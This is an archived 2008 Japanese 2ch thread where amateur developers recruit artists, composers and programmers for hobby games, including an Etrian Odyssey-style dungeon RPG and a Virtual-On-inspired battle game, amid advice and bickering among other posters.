時間がかかっても絵師が自分で塗ったほうがいい。
ちょっとだけ動くものをアップします
http://www-2ch.net:8080/up/download/1202311966738641.gUlPQY?dl ・ゲームのジャンル(ただRPGを作るとかでなく具体的に)
ダンジョン系RPG
世界樹の迷宮風をめざしております、マウスでマップを書きながら冒険)
・募集人数・担当(現在の人数と担当も)
現在自分ひとり。PG、企画
募集は
マップ画像、その他ウインドウ周りや一枚絵、ロゴなどの絵師一人
キャラ絵師一人(要望としては古めの絵柄風でかわいい感じ都築和彦みたいな)
音楽一人(FM音源+αみたいな感じで、要望としてはFM3音+PSG3音+PCMみたいな感じ)
・仕事内容(どんなスキル必要かまで具体的に)
スキルはあまり問いません。古いPCゲームや世界樹の迷宮を知っているとイメージを伝えやすいかな。
マップ画像を描いてくださる方は、アップしたファイルにとりあえずの画像が入っていますので参考にしてください
ファイル名はそのままで、ダンジョンを森の中に変えて欲しいです。壁の比率とかはまかせます。
・製作期間・完成予定日
本業の仕事が忙しいので、まったり進行です。完成予定日はとりあえずまだ決めていません。
・連絡用アドレス・HP
今回のものとは関係ないですが携帯アプリ用につくったもののHPです。連絡先はトップの下のほうにあります。
http://hando.gozaru.jp/ ・コメント・意気込み
FM-77AV、PC88、PC98、X1などのころのゲームの雰囲気と最近のゲームの融合を目指しております。
まったりとですが。
・現在の製作状況、進展度
1%
久々の募集乙
募集内容が具体的で良いと思う反面
・募集人のスキルの程度が不明
・制作期間無限
この辺がネックですな
あとキャラ絵だけ即埋まりそうだから上の行のも両方出来る人を
募集したほうが無難かと思った
>>770 スキルが不明って具体的にどんな情報がほしいわけ?
一応、サンプルプログラム出しているからスキルはそれで測るしかないんじゃね
PSGとかまた懐かしいな
これを実行して「スキルの程度が不明」はないだろ。
>>770 迷宮を歩くプログラムだけではスキルが分かりづらい、というのは確かにあるけど
募集時の提示としては十分じゃないかな
キャラ絵師はたぶん、敵グラフィックを兼業するんだと予想
そうそ、絵かきですとか言ってサンプルまったく無い誰かさんより数倍まし
んーサンプル上げたほうが絶対的に上なのは解るけど
コレって絵師で言ったら棒人間描いたラフ1枚うpしてるようなモンじゃねーの?
そっから見れる絵になるかそこまでしか描けないか判らないっていうか
どうもです。
自分のスキルについてですが、経験のある言語は以下の通りです。
BASIC、QB、COBOL、JAVA(MIDP)(代表作はavg_sys2というツールです)、HSP。
その他ツール系、豆乳システム、シューティングビルダー(NOILA-TEMというSTG作りましたニコニコにあります)
他にもいろいろあるけど、浅く広い感じです。
絵は漫画家を小さい時めざしていましたが、中学生くらいまでしかちゃんと描いてなかったです。
音楽はロックバンドでギターを10年近くやってたんで一応作曲はできますが、ゲームには向かないと思います。
どれもこれも手をだすとなかなか先に進まず、モチベが持たないのでPGとシナリオをやろうと思います。
シナリオやシステムに関してはおいおいお手伝いしてくれる方を募集するかもしれません。
絵師ですが、なんでもできる方が2〜3人くらいで分業するのがいいかもしれません。
>>774が言うとおり、キャラ絵の方にモンスもお願いするつもりです。
サンプルはまた少し進捗したらうpします。時間がたつと消えちゃうだろうし。
壁判定を入れました。その他は内部的なものなので見た目変わりないので今日はアップしません。
では引き続き募集していますのでよろしくお願いします。
>>777 QBとは懐かしい
あれはBASICからC言語にステップアップするのにいい言語だったな
BASICより格段に早くて感動してたらCはもっとはやくてあんぐりしたけど
ただ、水を差すわけじゃないけど、それだけやっててC++がないのが不思議だな
DLタイプだとDirectXを使えない言語ってのはきつくない?
DirectXはいくつもハードルあるから、
メンバー募集してからそれらのハードルに挑戦するわけにもいかないっしょw
既に1人でDirectXでソコソコのモノ作っていれば別だろうけど、
それだと(ジャンルにもよるだろうけど)素材調達で躓きやすい。
だからHSPでってのはいたし方ないんじゃないかな…
有る意味現実的な取り組み方だとは思うよ。
C++はちょっとさわらないとすぐに忘れてしまうので、一向に使えるようにならないのです。
まぁ教本はC++もdirectXも結構もっていたりするんですけど、読むだけで終わっちゃうというか(汗
今回も実際、C++&DXライブラリとかも考えたんですけど、HSPの方がまったり進行にはむくかなぁ〜と
>>778 QBは専門学校で使っていました。かな〜〜り気に入っていたのですが、バンド活動でPCから離れているうちに
いつの間にか消えていました・・・。
マジで人いないな…俺も募集かけようと思ったけど無理だな…
783 :
hando ◆qzWzTDCo8s :2008/02/10(日) 03:27:51 ID:Bs+8xw7t
>>782 そうみたいですね^^;
他にもあたってみたら、絵師さん(キャラ限定)は見つかりました。
他にも背景、デザイン、モンスターの絵師さんが不足しています。
音楽担当もなかなか来ないですね。
ためしにあげてみますか。
あーあ、キャラ絵のほうだけ見つかって膠着するからって言ったのに…
まあ他人事だしいいですけど
同業の人間2人集めて片方に肉、片方に骨与えてうまくいきますかねぇ
PGならできるんだがなぁ
>>784 よくある話なんですかねぇ。
しかたがないので、しばらくは背景はフリーの素材でいきますが・・・。
787 :
hando ◆qzWzTDCo8s :2008/02/12(火) 00:21:50 ID:yeqDmDMn
いや、実はね、皆見てるんだよw
って言うかちゃんと背景出来てるんじゃん
見てるが用事が無ければ書き込まないのは普通。
うわw
びっくり、結構見てるんですねぇw
>790
そりゃそうですね
>789
背景は素材ですよ・・・
サウンドはマッチメーカーでいいんじゃね?
これに音楽乗せたいと思う奴なんているの?
この板にはいないかもな・・・
DTM板あたりなら騙されてくれるやつもいるかもしれん
ここには自称プログラマか自称企画しかいない気がするな
本数出してる人はこの板みてないからなー
なんちゃってがここは多いよな
>>792 こっちで書いたほうがいいのか、blogにコメントした方がいいのか迷ったが
真面目な話
音楽と効果音は、配布素材を使うことを考えた方がいいんじゃないか?
有償の素材集なら、それなりに質もいいのが揃ってたりするし
それでもサウンド担当を募集するのなら
「こんな音が欲しい」というのを明確にする必要がある
今サイトに書いている「ファンタジーな感じの音楽」だけなら、素材使えば事足りるんだから
うーむ、なるほど・・・
わかりました、とりあえず素材から探してみます。
>>宅配
自分にわか音屋だけど、練習を兼ねて何か作らせてもらえませんか
絵がめっちゃ好みで気に入ったのですが
>>800 それは嬉しいです。是非、と言いたい所ですが、一度サンプルを送って頂いて良いですか?
southfoxrあっとまーくyahoo.co.jpまでお願いします。
宅配さんやーアンタのスレじゃないんだから・・・
コテつけて居座るのどうよ?他の人募集しにくいっての
803 :
名前は開発中のものです。:2008/02/15(金) 06:59:07 ID:0tGM7/Pn
他のスレ再利用してんのにまだいんのかよ。
ごめんなさい、自粛します。
たくはい
805 :
名前は開発中のものです。:2008/02/15(金) 16:38:29 ID:iZot4x0j
ところでさ
ちゃんと募集できるスレって無いのか?
こんな腐ったスレじゃなくて
もうちょっとマトモなところ
2chではなさげ?
仮に、ここがちゃんと募集できるスレじゃないとして、
なぜちゃんと募集できないのか、を考えれば自ずと答えは出るだろう。
確実さを求めるなら一般の募集サイトでやった方がいい気もする。
かといってこのスレでも内容がしっかりしてれば人が来ると思われ。
内容に不備があってもフォローが出来ていればさほど叩かれる事も
少ないはず。
ちょっとここが荒れ気味なのも募集が減って来てる事も一因かも。
トキワ荘見てみろよ…荒れてるってもんじゃねー
なにか揉めてるのかと思って見てきたがスパムでうまってたw
>>805 ここは、リアルで友達を作れない人間の吹きだまりなんですよ。
社会不適応者の最後の砦。
>>807 一般の募集サイトがどこを指しているのかは知らないんだが
基本的に俺の知る限り、まともに募集できるサイトはないと思う
正直、菩提樹の人の募集には期待してたんだが、
あれが誰も反応ないとなると、ここも厳しいよな
自分の知ってるところは全てクソ
2chと大差がない
菩提樹の人の募集は手順を変えればもっと集まったかもな
基本部分なり作り終えて見てくれた人に「お、完成しそう」と思わせたり
先着式じゃなく一定期間募集して最善ぽいメンツを選んだりするのが重要だと思う
どっちかってーと、暇な人間でスキルがあるやつがいない、って印象なんだよな
>>814 完成云々というか魅力ないな・・・
好きな人は好きなんだろうなー内容、普通の人は参加しないとおもう
817 :
名前は開発中のものです。:2008/02/16(土) 07:48:57 ID:wMMBScUp
それ同人ゲーム板にスレあるぞ、自演で頑張ってる
スキルある奴は引っ張りだこで暇ないからなw
菩提樹の人です。
タイトル変えてしまいましたけど・・・。
なるほど、先着にしたつもりではなかったんですけどね。
とにかく背景を描ける人、もしくは描きたい人ってかなり少ないということがわかりました。
そういう人はバンドで言うところのドラムくらい稀少というか・・・、有償オンリーとか多いですね。
一般の募集サイトはだいぶ回りましたけど、あまり反応ないですね
おそらく、萌えとかBLとかエロとかのサウンドのベルとかだと集まりやすいのかも。
ちなみに、募集はまだしていますので
>>787 までよろしく。
ダンジョンの壁を大きく、かつ森っぽく作ろうとしたが素人の限界を感じてしまったorz
>>819 誰か書いてましたが、キャラ絵という飴だけ持っていかれたら、絵師としては背景のみの
案件というのは魅力がないでしょう。
背景は背景で描くのは面白いんですが、どうしてもキャラ絵のほうに注目が集まるので、
描いてるほうとしてはその点が面白くないというか…。
せめてセットで描ける人を募集してたらよかったんでしょうけど、後の祭りですね。
さらに、キャラクターが既に決まっているという事は
キャラクターの絵に合った背景を描ける人を探さなくてはいけないわけで・・・。
背景に合ったキャラクター絵を描ける人探した方が楽なわけで・・・。
金払って背景頼むと、背景だけ上手すぎてキャラクターに魅力を感じないという場合が多くあるわけで・・・。
俺の経験上、自ら背景を描きたがる人は上手い場合が多い。
ボーカルを先に決めたサークルが後から作曲者依頼して、曲は良いのに歌えてないという話を聞いたことが・・・。
来なきゃ来ないだけだろ。スルーでおk
背景なんて写真の加工でいいじゃん
仮にキャラ絵のみだったので断りました、って話になったら
名乗りを上げる人間がいるの?
とてもそんな雰囲気には見えないんだが…
他人のプロジェクトをそこまで親身に心配できるココロの清らかさに愕然。
わかったから語るスレに戻れよな?…な?
>>825 君は他の人の文章内容あんま把握出来てないね
>>816 確かに今更3Dダンジョンは受けないな
それだけで敷居が上がってる上にガチでシリアス系っぽいし
時代と逆行しすぎw
>>819 ジャンル変えた方が良いんじゃないか?
特に3Dダンジョンにこだわらない方が良いと思うぞ
もしくはギャルゲーみたいな可愛い絵付きが良いと思われ
後、デザインなら
>>814とか製品ゲーとかからパクればいいし
背景なら写真でも加工すればいいんじゃないか?
>>814の背景も多分そうだと思う
なんであんなに綺麗に加工出来てるのかは解らんが…
一人で3DダンジョンRPGを作ってる自分はどうすれば…
いいさ、好きなのつくれるのが個人製作の良ささっ!
俺は背景3Dでつくって光源設置してレンダリングしてそれをPSで加工しつつ加筆って作業かなりすきなんで背景作るの好きだけどな。
背景絵師ってめずらしいのか・・・
>>830 作るの自体は楽しいけど、せっかく上手く描けても
「どうせキャラ絵にしか注目しないんでしょ?ハイハイ」と
思うと悲しくなる。自分も背景は注目しないしなぁ。
背景は3Dでつくると
いまいちな味にしかならないんだよ。
FFとかよりも新海誠とかみたいに。
そんな綺麗な背景があこがれるな。
背景ってかなり難しくないか?
上手い背景絵師は、スタッフ的には神。
一般的には……まぁw
それなりの背景でも、数こなせるなら、それはそれで神。
>>832 そんなのトゥーンレンダリングすればいいだけだろ。
3Dではまだ限界があるだろ
写真の方が一歩上だと思うぞ
加工具合によってはショボくなるがw
旅行のパンフレットとか見れば解るが
やはり自然の写真に色彩加えたのが一番綺麗だな
この方法がこれより上、とかいわれても
言ってる人が熟練の背景絵師なのかただの馬鹿なのか第三者に判別つかない以上
意味無いと思うが
嘘を嘘と
なにを基準に1歩上なの?
写真のが上なら、殆どのゲーム写真が使われるんじゃない?
登場人物が実写、もしくはシャドウ、絵が無い場合なら写真でおkだけど
アニメ絵だったら、背景もアニメ調、CGだったら、背景もCGが最も違和感が出ない。
人物と背景は同じトーンの絵にするのが最も自然。
ただ、写真はコストパフォーマンスが最も優れてるのは事実。
ユーザーが背景は見ていないって言ってるが、全体のトーンとしては、しっかり見てる。
そこに手間をかけるかは製作者次第。
綺麗さ 美しさの話だよ
君が言っているのはあくまで人物があっての背景の話
背景がメインじゃないからね
背景がメインになるのはやっぱり
写真集、風景映像、パンフレットなどで、
自然やカメラのファインダーに写ってるものが基本
3Dの背景がメインになってるものなんてほとんどない
背景に主眼においた作品でいえば、いまだに写真や自然にある風景には勝てない気がする
当然トリミングや、色相の調整はするとしての話だけどね
キャラクターも実写で作れば?www
ここゲ製技板なのになんで写真集の話してんの?
>>840 まてまて、ゲームの背景の話がどうして風景写真になるんだ?w
背景が重要なゲームってのがどういうのか想像できないが、
新海誠の光表現なんかは背景の一部だと思うんだが…
それ以前にメンバー募集スレなんだが・・・
>>846のつっこみが一番ワロタ
つうか的確。
今いる人はほとんど、募集も応募もしない人たち?
まぁここまでアレだと「みんなスレ違いの事話してるんだからボクは悪くないんでちゅ!」って方向に
もってくしかないわな。
募集待ち
>>846 つっこみ自体は的確だが
前の流れを見る限り募集スレとしてなりたってない訳で
この流れ見ても解るだろ?
アホな事を言う奴と、それに噛みついて喜んでるアホ
どう考えてもアホばかり
募集がきてもサッパリだしこれじゃ無理じゃないか?
しかもちょっと居座れば叩かれるしw
結局悪口言いたいだけの奴ばかり
853 :
名前は開発中のものです。:2008/02/19(火) 10:34:14 ID:Q5jj/i96
> 852 名前: 名前は開発中のものです。 [sage] 投稿日: 2008/02/19(火) 10:29:25 ID:RYSnwfuP
> しかもちょっと居座れば叩かれるしw
> 結局悪口言いたいだけの奴ばかり
> 124 名前: 宅配 ◆Fc35WcnYb6 [sage] 投稿日: 2008/02/19(火) 10:05:47 ID:RYSnwfuP
> スクリーンショット更新
> 少し進みました。
>
http://takufan.sblo.jp/ ID:RYSnwfuP
ID:RYSnwfuP
ID:RYSnwfuP
ID:RYSnwfuP
ID:RYSnwfuP
ID:RYSnwfuP
叩かれてそうとうくやしかったんだなwwww
854 :
名前は開発中のものです。:2008/02/19(火) 10:36:38 ID:Q5jj/i96
このスレは募集主の自演でお送りしています
何してるんですか
たwwwくwwwwwはwwwいwwwwwwさんwwwww
このスレ昨日から神が降りてるな!
募集スレとしてなりたってなければなにをしてもいい、というのはどうかと思うが。
え、別にコテ付けずに書き込んだだけで、自演じゃないぞw
まぁ、なんだ、暇なんだよなここの流れが止まると。
しかし困ったな、完成してもどうやって人を集めようか方法が思いつかない・・・
859 :
名前は開発中のものです。:2008/02/19(火) 12:52:27 ID:Q5jj/i96
誰も自演だなんて言ってませんが?www
悪口言いたいだけの奴しかいませんから
とっとと自分の巣へお帰りください^^
>>857 そりゃそうだと思うが今の流れを見ろ
全く募集スレに関係ない流れが続いてるぞ
ルールを守ろうと思ってない奴ばかりがいるのが現状
しかし、ここだけに留まらず同人というか自主制作系の板がよく荒れるようになったな
住人の質が下がったということなのか?
ぶっちゃけ企画厨隔離スレだからな…
もともな募集なら自前HPや連絡用メアド用意するだけの知性があるから、
そうやって利用してください(><)って感じ?
>>860 もともとこのスレは荒れ気味だったよ
前スレ、前々スレあたりから
今の流れは、募集がない間の雑談みたいなもんだ
世界樹風ゲーの絵師募集を肴に話してるんだから割と流的にはいいほうだと思うけど
どう考えてもネタがほしいだけの典型的なカスです
今残ってるのはあぶれたやつらだからなそりゃスレも荒むだろうw
866 :
名前は開発中のものです。:2008/02/23(土) 06:25:39 ID:4lfhnIn7
カススレあげ
完成しない企画のメンバー募集スレです
今世界樹2やってんだからジャマすんじゃねー!
絵の力ってすげーな
菩提樹は既に停止したんだろうか…
菩提樹は別のサイトでメンバー募集して、けっこう人が集まったみたいだよ
結局どこもまともに完成する見込みなしか・・・
PGとして募集されてやるよ
>>873 どんな事が出来ますでしょうか?
自己紹介をどうぞ。
手を使わず飯を食う事ができます。
>>872 見逃してるだけだろ
進んでるところは進んでる
シッ!黙ってろw
まぁさすがに脳内までは見れないしなぁ
test
880 :
名前は開発中のものです。:2008/02/27(水) 11:49:19 ID:DICujWZo
最初の動機は、バーチャロンオラトリオタングラム以降のPC版がなかなか出ないので、
自分たちでそれらしいものを作ってしまおうと考えた事が発端となって、
どうせ作るなら全く別のものにしようと考え、「極端に抽象化したグラフィックとトリック技」
という筋で行こうという事になりました。
アイデアノートについては、プログラミング的に無茶な要求、複雑な
物理計算などの難しい所が無いように書いています。この内容も、
話し合いの上で若干変わっていくと思います。
多分、今のアイデアノートをそのままプログラムすると、ゲームバランスが
極端になるはずなので、「テストプレー→話し合い→仕様変更→プログラミング→
テストプレーに戻る」というやり型でゲームバランスを煮詰めていきます。
話し合いには、Skypeの会議通話かリンガーというログの残るチャットルームで
やりましょう。ただ、機密保持のためSkypeが望ましいです。
対戦型ゲームなので、最初のバージョンでは画面分割対戦、
将来的にはインターネット対戦、できればメニュー画面にもある通り
世界&全日本ランキング機能を追加したいと考えています。
(ランキングシステムに関しては、サーバ等も必要になり、現時点では難しそう。)
B版を公開したり、テストプレーヤーをつのることはせず、あせらずじっくり完成度を上げてから
放流したいと考えています。フリーウェアというかドネーション(カンパウェア)で公開します。
モダンアート的な手法を用いて、極端なシンプルさが様になるようにしていきます。
効果音は音楽の切れ端を使い、球の放出をカラフルでリズミカルになるようにする等します。
これはプログラミング色の強いシステマティックなゲームなので、開発の
中で一番重要なのはプログラマーと発案者の共同作業です。
上記のスキルをお持ちの方で、興味があるという方は、連絡ください。
(なお、後々心残りのないように、楽しい開発にしましょう。)
882 :
名前は開発中のものです。:2008/02/27(水) 12:25:39 ID:SDK7b6cr
出番だぞ、ぴど
書き忘れ。
OpenGLでも可です。
階段は1段づつ登ったほうがいいと思う
>>885さん
含蓄のあるレスありがとうございます。感謝します。
実は、私も同じ事を考えていた所です。
もともとがマニアックなゲームに着想を得て、ある意味それを
もっとややこしくして自分にしかわからないデザイン論を加味したゲームなので、
最終的に納得いくゲームにするためには、
学校で地道にC++ DirectX OpenGL等を学び、ゲームの基礎プログラムは
自分で書くようにしたほうが良いと思いました。学校を出るまでに
サークル内でとりあえず動くサンプルを作り、ゲーム系に逝き、
そこで続きをじっくり開発するしかないかなと思います。
どうやら、せっかちだったようです。お恥ずかしい。
というわけで、申し訳ありませんがメンバー募集は今回は一時中止
させて頂きます。お騒がせしました。
887 :
名前は開発中のものです。:2008/02/27(水) 17:31:23 ID:SDK7b6cr
出番なかったぞ、ぴど
正直3Dのプログラムはどうとでもなるけど、
モデリングの方が問題(´ω`)
俺もチャロンは好きだから
もし自分で3Dプログラミングとモデリングできるならとっくに手をつけてるはずだ。
(完成するかどうかは判らん)
だが実際にできるのはヘボ2Dプログラミングとヘタレドット絵作成……。
もしその二つをやってくれて俺の妄想を実現してくれる人がいるのなら俺だって欲しいぜ。
久しぶりにまともな募集ktkr
3Dできるけど、暇してるPGなんているのかね…
3Dってモデラーの確保が最優先だと思うな
フルスクラッチのフィギュアを作るようなもんだから一朝一夕じゃ出来ないし
アニメまでやるとなると、出来る人間の数はPGの比じゃないと思う
STGならやりますけど?
ちなみに3Dじゃなく2Dなw
インベーダーとかいっしょにつくるとかどうよ?www
またあんたかw
896 :
880:2008/02/28(木) 09:17:26 ID:D4KVHxhn
あの、先日募集していた者です。
チャロンではテムジンを主に使います。あとスペ。
秋葉原駅からまっすぐ逝ったゲーセンでは勝率五分五分くらいでした。
一時は「理想的には自分で作りたい・・」という事で募集を打ち切ってしまいましたが、
学校が始まるまでにふっとセルフポアしてしまいそうな心理的状態であるため、
何とか気を紛らわすためにも、やっぱり今始めたいと思います。
ぴどさん、その他の皆さん、オラにちょっとだけ力をわけてくれ!
気を紛らわすって、色々方法あるんじゃないの?と思われると思いますが、
根っからのクリエイター気質で、見るよりもっぱら作るほうで、
論文をだらだら読んだり、科学ビデオを見てよくわからない事を考えたり、
図書館に逝ってもサイエンティフィックアメリカン日本版
くらいしか読まず、もちろん普通の友人も作れず、よくわからない哲学病にかかって
苦しんだり、やたらと霊感が強かったりで大変です。
そういう中で、チャロンは唯一と言っていいほどはまったゲームでした。
ところで、モデリングが問題との事ですが、その点については心配要りません。
なぜなら、球、平面、直方体程度の簡単なオブジェクトしか生成しないゲームだからです。
バーチャロン的な3Dゲームプログラミングの骨組み程度で十分です。
問題の「トリック」等についても、そこまで難しくありません。軽いゲームです。
2画面表示、追尾、ゲージの処理、プルダウンメニューあたりがクリアできれば何とかなるかも。
グラフィックの貧相さは水口哲也氏的手法で何とかします。(氏の会社を受けに逝ったが
解散していた事もあった、SEGA United Game Artists)
>暇してるPGなんているのかね…
もっともです。
3Dシューティング(対戦)の枠に入ると思います。
というわけで、よろしくお願いします。m(_ _)m
箱が戦ってても萌えないしなぁ(´・ω・`)
ロボットは、テクスチャでどうにでもなる。
バンプ使えば、ただの立方体もメリハリつくし。
899 :
880:2008/02/28(木) 11:26:26 ID:D4KVHxhn
ええと、戦う主体は実はロボットではないんですよ。
それだと劣化チャロンになってしまいますから。
(ロボットだとご指摘の通り開発大変だし、そういうゲームは既に色々ある)
ネタバレすると、戦うのは「球体に向いている方向を表す
三角がついただけのもの」なんですよ。テクスチャは1枚も使わない(予定...)です。
既存の完成度の高いロボットゲームに挑戦するわけではありません。
バンプは使わないと思いますが、派手な光源はよく使うと思います。
モーショングラフィックス的な見せ方が活かせればいいなと思います。
ビデオページ(密かにオラタンもある)
http://hogehoge-world.seesaa.net/article/26810107.html チャロンの面白さは、2つの要素に大別できると思います。
戦略性 と キャラ・ロボ萌え(カトキ萌え)です。
今回は戦略性のほうだけ抽出し発展させて、見栄えは
モーショングラフィックス的なものにしていきます。
攻撃を出すのがちょっと楽しい音ゲー的要素を盛り込みます。
ビジュアル面については水口氏の「Rez」の発想に近いものがあります。
あぁ・・皆さんの暖かいレスでちょっと生きる意欲がわいてきた。ごっつぁんです!!
今から効果音.zip作ります&張りますんで、wktkして待ってください。
え!?これが効果音!?と思われるかもしれませんが・・
900 :
880:2008/02/28(木) 15:01:19 ID:D4KVHxhn
ファイル名が若干ネタばれ気味ですが・・効果音のないトリックもあります。
β版なので、これも若干直すと思います。
これとメニュー画面や言っている事で微妙にイメージしてみてください。
現時点の効果音集(28個 .aiff)
http://www.mediafire.com/download.php?cm2rnzmnee3 ロックオン2種類の音が特にきてるっぽい。
コンタクトは880まで。(`・ω・´) シャキーン
メールかMixiメッセージが気づきやすいです。
つか、フリーゲームとはいえ、ただ働きしてくれるPGさんなんてそう居ないかぁ・・
半分諦めつつ待ちます |||orz
別にやってもいいけど、今の段階じゃやりきる自信はないな
お前も出来なければ俺にも手に余るって仕事が絶対に発生する
多分、フェイスボールみたいなゲームを目指しているっぽい?
ジョイメカファイトでもいいか
2Dグラフィックが出来るなら、2Dでのゲームを目指せばいいじゃん
2Dゲーは作り飽きた、ってほど作品作ってるならいいけど、
ゲームを完成させた経験がないなら、まずは出来るレベルで完成させるべき
ま、聞く耳持たず、ってところだろうけどな
なんという上から目線
ちょっとできるとすぐに上からモノをいっちゃうんだよなぁ〜
いきなり初対面で「お前」とか言っちゃって
>880
ここは皆さんが言っている通り、募集には向かないと思いますよ
無関心とヘタレと高飛車しかいないみたいですから
お前=無関心とヘタレと高飛車=みなさん
てか、おまいらスルーしろよwww
証拠確保しにきました^^
まだやってるんですか
>>903 無関心とヘタレと高飛車にウォッチャーの俺も追加(´ω`)ノ
色々悩んだ結果、あのゲームはまるで戦略性が無い(場当たり的に手を出すしかない)
という事で保留にして、
色々考えた結果、
ダイナミックでカードな変則チェスゲームというのを考えました。
その名も
「カードチェス」
特徴
カードの山をシャッフルしカードを引く。手元の駒カードから駒を任意の場所に出す。
普通のチェスにダイナミックな動きとギャンブル性、カードゲームの興奮を
加えた、変則型チェスゲーム。市販のチェスの駒とテーブルをそのまま使う事ができる。
通常のチェスより短時間で決着がつく。
ルールは・・書いちゃうとほんとに短いんだけど・・どうする??
通常のチェスのルールのここがああだったらいいのに・・というのを盛り込みました。
俺が作ってやるZE!って書いてくれたら書き込みます。
これもゲームバランスがやや心配な子です。
アホか!とか意見くれればルール直したりします。
でも発起人は中村剛志という事でよろしく。
確か2ch的にはギコチェスというのもあったよ?
まず落ち着こうぜ(´ω`)
次にゲームの仕様書を書く準備をしよう。
仕様書は文字と絵が入れられるならWordでもExcelでもPDFでもOK。
んで、それが用意できたら、ゲーム起動したらどういう画面が出るか、
そこのメニューにどういうのがあるか、そのメニューを選択したら
どういう画面に移動するか、を順番に書いていくんだ(´ω`)
911 :
名前は開発中のものです。:2008/02/29(金) 11:48:50 ID:PZXiIW0y
age
912 :
909:2008/02/29(金) 11:52:31 ID:PZXiIW0y
>>910 おkおk フォローdクス
マカーでワードとエクセルは持ってないんで、Pagesとイラレとフォトショで
PDFで書いてみます。
ところで・・唯一心配している事があるんですけども、
このスレではアイデアのパクリってありますか?
皆が見てる板だから可能性は否定できない(´ω`)
だから仕様書作ったら仕様書はある事を明言して
募集をかけたらいい。
ネタのパクリを警戒するなら仕様書の公開も慎重に。
>>912 パクリについては詳しく知らないが
チェスをパクろうとしている奴はいるみたいだ
ゲームのアイデアは技術じゃないんだから、そんなに神経質になることも無いと思う。
どうせ完成したら公開するわけだし。
それよりも完成できるかどうかが目下の問題だと思う。
個人的にはアナログゲーム大好きなんで興味はあるんだけどPGは全然・・・
916 :
909:2008/02/29(金) 12:30:54 ID:PZXiIW0y
これから学校に入って、卒業生は遊べるレベルの弾幕シューティングを
完成させてたから、全部自分(たち)で作るという道もあるんだよね。
ゲ制作部がある。それだと、リリースまで多分1年半強くらいの時間を要すと思ふ。
この程度のゲームならマルチプラットフォーム対応にしたいなぁ。
あ、もちろんフリーウェアです。
ただ、部にAIな人が居ないと、コンピュータ対戦(対AI)は作れないと思う。
インターネット対戦は可能にしたい。
>個人的にはアナログゲーム大好きなんで
いやぁ、メモリ大量に食うバーチャロンの発展系を考えていったら、結果的に
アナログゲームの凄さに気がついたっすよ。こうなるとは思わなかった。
完成できるかどうかは、自分のPGの勉強と部の風向きにかかってるっすね。
>それよりも完成できるかどうかが目下の問題だと思う。
もし、「あかん、自分らではこのプログラム書けん・・」ってなった時は
また来るという事にします。最初に言ってたけど、必要ならば何年も暖めますよ。
仮に自分らで全部作れたら、自分の細かい要求をロスなく盛り込めるから、
完成度も上がるし。
917 :
909:2008/02/29(金) 12:39:09 ID:PZXiIW0y
過去に某大手にパクられた経験が効いてるので・・遅れそうです。すみません。
皆さん色々フォローありがとうございました。なんか勉強になりました。
完成した暁にはお知らせします>( ゚Д゚)y─~~
ちなみにAIな人なんていなくて、
ゲームの仕様考えた奴がAIの動作も考えるんだぞ(´ω`)
若さがほとばしりまくってて眩しいのです
ここまで典型的なのも凄いね。
なんかそのうち躁鬱病で精神病院に通ってるとか言い出しそう。
某大手にパクられた(笑)
まあアイデアや企画なんて自分が考えられるようなことは
誰でも考えてることだと思ったほうがいいよ。
それをどう実現するか、おもしろくまとめるかが難しい。
とりあえず、まず突飛なアイデアのない普通のゲームを完成させることから始めた方がいい。
いまの状態では、それこそ単純な紙芝居アドベンチャーでさえ完成させるのは難しいだろうな。
某大手にパクられた企画についてkwsk
923 :
名前は開発中のものです。:2008/02/29(金) 15:49:44 ID:J6sN6Zb9
>>918 簡単だよ。
チェスの強い人の脳細胞を取り出して詰め込めばいい。
2点
OKOK
じゃあ、AI対戦と言っておいて、実は裏でセンターに接続して中の人が対戦してあげればいい。
^^
ついでにAIを企画側が決めるって事を補足しておくと、
始めから厳密な物はいらないけど、
例えばチャロンやった事無いけど、あんな感じのだと
「相手との距離」、「残ライフ」とか、「相手が見える場合は」とか
「攻撃までのフレーム数が少ない武器を選択」とか
そういう判断、行動の条件を列挙しておくだけでも随分違う。
それ見たプログラマはそういう条件が必要になるって分かるから
設計段階でそういうのが組み込める(´ω`)
俺のゲームがぱくられたっていってる奴の大半は特許法を意識していない。
ゲームがパクられたまで行ってないじゃない
妄想をパクられたそうですよ^^
>>927 相手が空振りしているのにガードで固まってたり
端にいるのにさらに逃げようとしてたり、
そんな予想外の行動をどう抑えるかって戦いだと思う
で、その中でこの条件式もいる、この条件式は余計、
こっちよりあっちが優先度高いって感じで、ガンガン入れ替わっていくから、
企画が机上で考えた程度の条件なんて使い物にならない
まぁ、企画にAIの内容を考えてもらった経験はないから妄想だが、
AIの動きのアドバイスを第三者に聞いたら、すでに試してダメだった意見しかこなかったからな
>>909 最初からAIもネット対戦も必要だとは思わないが、
だったらむしろ「紙」で試作して、友達とテストしてみたらどうだい?
そうすればパクられる心配は激減するし、
ゲームの攻略法を確立して纏めればAIの開発のベースになる。
>>930 自分がイニシアチブ取れる状況ならそれで良いと思う(´ω`)
俺のは下請けの職業ゲームプログラマーとしての、
効率から逆算して、こういう仕様書だといいかなーって話だから、
愚痴だと思って聞き流してくれw
>>916 おいおい弾幕シューティングなんて、本を読めば素人でも1週間で作れるぞ。
プログラムよりも遊びたくなるグラフィックを作るほうがよっぽど大変だ。
面白い弾幕を作れるかどうかは遊び続けたくさせるために絶対必要だけどな……。
面白い弾幕はプログラムというよりセンスと経験だからな…
弾幕シュー製作自体はマジ簡単
問題はどんなに頑張ってもセンスが無ければ凡作以上にならないこと
経験で補いすぎると、どっかで見たことある物ばかりになってしまうし
内容が多少ダメでもキャラがオタク受けすれば好評価
つまり、トラブルウィッチーズ最高ということだな
菩提樹改め迷宮(ryの中の人です。
ダンジョンをポリゴンにしてみますた。
モデリングできる方募集です。
>>787 に動くモノが置いてありますです。
942 :
名前は開発中のものです。:2008/03/10(月) 09:38:36 ID:Nkq5MZ59
しっかしほんと人いないな
上げてみる
いきなりすげえの作ろうとせずにまずはサウンドノベルで徐々に
難易度あげるべきだな。
944 :
名前は開発中のものです。:2008/03/16(日) 03:17:00 ID:y0NbvvUp
浮上
テスト
書き込み
946 :
名前は開発中のものです。:2008/03/22(土) 22:23:06 ID:IDMmtwfW
宅配崩壊した?w
音屋探して音沙汰がなくなったな
実際に作ってみると「つまらなかった」ってわかってモチベーション崩壊するケースけっこうあるんだよな・・・
勿体無いよな
そこをどう上手く面白く見せるかこそゲーム屋の真髄なのに
……絵師とサウンド担当が欲しくて開いたけどまともに機能してなさそうだなorz
と言うか板全体がそんな雰囲気。
募集やゲーム作成系はほとんどヲチ、叩きの対象になっている様な印象を受ける。
